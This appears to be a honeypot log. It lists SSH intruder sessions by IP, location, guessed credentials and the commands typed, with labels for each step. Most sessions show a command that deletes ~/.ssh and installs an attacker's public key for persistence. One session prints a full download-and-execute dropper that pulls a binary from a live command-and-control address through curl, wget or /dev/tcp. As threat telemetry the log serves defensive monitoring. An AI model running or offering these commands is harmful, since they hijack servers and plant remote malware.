$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ lurking_matador_root (200.234.227.140) โ€” Barcelona, Spain ยท 8 sessions ยท 8 cmds
2026-07-01 00:37 EDT ยท as root/12345678, root/admin, root/toor
echo (repeated echo 4x)
$ echo SHELL_TEST ร—8
๐ŸŽญ jittery_void_root_5 (65.109.165.5) โ€” Helsinki, Finland ยท 1 session ยท 2 cmds
2026-07-01 23:53 EDT ยท as oracle/1qaz!QAZ
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ savage_yankee_root (43.162.108.214) โ€” Santa Clara, United States ยท 1 session ยท 2 cmds
2026-07-01 23:34 EDT ยท as oracle/1qaz!QAZ
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ venomous_silk_root_161 (14.29.214.161) โ€” Shenzhen, China ยท 1 session ยท 2 cmds
2026-07-01 22:28 EDT ยท as oracle/oracle2025
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ vapor_dragon_root_198 (120.230.180.198) โ€” Guangzhou, China ยท 1 session ยท 20 cmds
2026-07-01 22:18 EDT ยท as oracle/oracle!
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "oracle!\ndVr84cg7iZr7\ndVr84cg7iZr7"|passwd|bash
$ Enter new UNIX password:
$ echo "oracle!\ndVr84cg7iZr7\ndVr84cg7iZr7\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ murky_panda_root_86 (103.236.75.86) โ€” Beijing, China ยท 1 session ยท 5 cmds
2026-07-01 21:23 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://175.178.76.228:9726/linux -o /tmp/y7EMYxZy9x; if [ ! -f /tmp/y7EMYxZy9x ]; then wget http://175.178.76.228:9726/linux -O /tmp/y7EMYxZy9x; fi; if [ ! -f /tmp/y7EMYxZy9x ]; then exec 6<>/dev/tcp/175.178.76.228/9726 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/y7EMYxZy9x ; chmod +x /tmp/y7EMYxZy9x && /tmp/y7EMYxZy9x 9QB9E6Vuhr8nxS7EJaOEbK0MdwCMjw53Cad0jKEu2DPGLKmNaK0ddBKLlhVyE6FrkKAuxTrAIaGJeqUMdQ6MiA50C6N0jacszzjFILGPbaETdBeAlhdzE6ZohqsvwTLANqCObLoIcQ6KiBdrD6BshKcgxzHWJ6CPdKEEaxGPig53DaFgh6cmwiDCIb+PaqMTcxOWihZ/BaVoibEkxjLYJ6GLdKUFfA6JjRZ/BKZuibEkxDDYJ6eLdKwNaxKJiBp8DqNpnqUh2DLFL7+PY6UTdBePghZ3CqR6j6Mi2DLEJb+LbLoEcxqPjxZ3HaBtkKAnwC7HJKSQaawHfROKigB9DLptj78nzi7CIauGYqEIZRGLjA50CqF0iKc4xzLFLKmMbacddBCLlhJ2C7pti78uwDrAJqWMeqAKaxGIjw5zDrpoiKsuxzLBNqSGdKwKaxeJlhJxBa5tjaYv1jjHOKaOdKYFaxmBghh3C6B6j6An2DXPOKCJaLoPdRWCgRZ1CbRuib8kxTnYJ6iPdKUKchqOihd1HaBtkKMixS7EJqmQaaQHfROKgQBxBLpojaQ4xzbOOKCGaK4KchaOmBF3CbpojKA4wDjYJ6WOYKMFfBOYiRF0E6Zoh78nwC7EJ6SEba0PfQCJiRFrD6ZjkKAkwS7EJKGEY6YNdgCAiQ5yDbppjr8kxTbMIKOLarQMdRaWiRNrD6d0j6UvzDbOJ6iea6cEaxGBgQ50C6R0j6AgzDfCIaKea6cJaxGPjQ5zC7prjKIszjLBJUnqOVbnJPpsNQlu/yP9RH5za3zK8YOW; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/y7EMYxZy9x && /tmp/y7EMYxZy9x 9QB9E6Vuhr8nxS7EJaOEbK0MdwCMjw53Cad0jKEu2DPGLKmNaK0ddBKLlhVyE6FrkKAuxTrAIaGJeqUMdQ6MiA50C6N0jacszzjFILGPbaETdBeAlhdzE6ZohqsvwTLANqCObLoIcQ6KiBdrD6BshKcgxzHWJ6CPdKEEaxGPig53DaFgh6cmwiDCIb+PaqMTcxOWihZ/BaVoibEkxjLYJ6GLdKUFfA6JjRZ/BKZuibEkxDDYJ6eLdKwNaxKJiBp8DqNpnqUh2DLFL7+PY6UTdBePghZ3CqR6j6Mi2DLEJb+LbLoEcxqPjxZ3HaBtkKAnwC7HJKSQaawHfROKigB9DLptj78nzi7CIauGYqEIZRGLjA50CqF0iKc4xzLFLKmMbacddBCLlhJ2C7pti78uwDrAJqWMeqAKaxGIjw5zDrpoiKsuxzLBNqSGdKwKaxeJlhJxBa5tjaYv1jjHOKaOdKYFaxmBghh3C6B6j6An2DXPOKCJaLoPdRWCgRZ1CbRuib8kxTnYJ6iPdKUKchqOihd1HaBtkKMixS7EJqmQaaQHfROKgQBxBLpojaQ4xzbOOKCGaK4KchaOmBF3CbpojKA4wDjYJ6WOYKMFfBOYiRF0E6Zoh78nwC7EJ6SEba0PfQCJiRFrD6ZjkKAkwS7EJKGEY6YNdgCAiQ5yDbppjr8kxTbMIKOLarQMdRaWiRNrD6d0j6UvzDbOJ6iea6cEaxGBgQ50C6R0j6AgzDfCIaKea6cJaxGPjQ5zC7prjKIszjLBJUnqOVbnJPpsNQlu/yP9RH5za3zK8YOW" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/M2MklXSOqP
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ molten_burger_root (165.22.134.78) โ€” Santa Clara, United States ยท 1 session ยท 2 cmds
2026-07-01 20:16 EDT ยท as oracle/1qa2ws3ed
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ arctic_windmill_root (172.211.56.214) โ€” Amsterdam, Netherlands ยท 1 session ยท 2 cmds
2026-07-01 20:11 EDT ยท as oracle/Abcd1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rusty_meatball_root (171.25.158.80) โ€” Vaxjo, Sweden ยท 1 session ยท 2 cmds
2026-07-01 20:01 EDT ยท as oracle/Abcd1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ sullen_phantom_root (181.115.147.5) โ€” Santa Cruz de la Sierra, Bolivia ยท 1 session ยท 2 cmds
2026-07-01 20:00 EDT ยท as oracle/1qa2ws3ed
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_truck_root (110.38.234.222) โ€” Lahore, Pakistan ยท 1 session ยท 2 cmds
2026-07-01 20:00 EDT ยท as oracle/1qa2ws3ed
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ savage_strudel_db (88.198.188.142) โ€” Nuremberg, Germany ยท 1 session ยท 2 cmds
2026-07-01 19:44 EDT ยท as oracle/Abcd1234
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_lantern_root_93 (120.236.196.93) โ€” Guangzhou, China ยท 1 session ยท 1 cmd
2026-07-01 19:39 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ grumpy_liberty_root (69.229.227.44) โ€” Pensacola, United States ยท 1 session ยท 2 cmds
2026-07-01 16:58 EDT ยท as oracle/Aa123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ zealous_acai_root (185.100.215.213) โ€” Fortaleza, Brazil ยท 1 session ยท 2 cmds
2026-07-01 16:45 EDT ยท as oracle/Aa123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_eagle_root_211 (184.168.21.211) โ€” Tempe, United States ยท 1 session ยท 2 cmds
2026-07-01 16:42 EDT ยท as oracle/Aa123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ crimson_rendang_root (157.20.189.179) โ€” Ngaglik Timur, Indonesia ยท 1 session ยท 1 cmd
2026-07-01 08:56 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ glitchy_rendang_root (69.5.23.222) โ€” Yogyakarta, Indonesia ยท 1 session ยท 2 cmds
2026-07-01 04:32 EDT ยท as oracle/0000
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_samba_root (200.108.174.4) โ€” Bom Jesus das Selvas, Brazil ยท 1 session ยท 2 cmds
2026-07-01 04:32 EDT ยท as oracle/123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ drowsy_kopi_root (47.84.107.173) โ€” Singapore, Singapore ยท 21 sessions ยท 21 cmds
2026-06-30 13:39 EDT ยท as admin/123456, admin/admin, deploy/deploy
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—21
๐ŸŽญ spectral_muay_root (203.170.192.251) โ€” Huai Khwang, Thailand ยท 1 session ยท 2 cmds
2026-07-01 03:20 EDT ยท as oracle/1qaz!QAZ
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ feral_yankee_root_87 (20.96.179.87) โ€” Boydton, United States ยท 1 session ยท 2 cmds
2026-07-01 03:13 EDT ยท as oracle/1qaz!QAZ
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ gnarled_pho_root (103.82.21.8) โ€” Dich Vong, Vietnam ยท 1 session ยท 2 cmds
2026-07-01 03:12 EDT ยท as oracle/password
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_kebab_root (194.146.47.161) โ€” Istanbul, Tรผrkiye ยท 1 session ยท 2 cmds
2026-07-01 03:11 EDT ยท as oracle/password
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ grumpy_windmill_root (34.178.21.247) โ€” Groningen, Netherlands ยท 36 sessions ยท 36 cmds
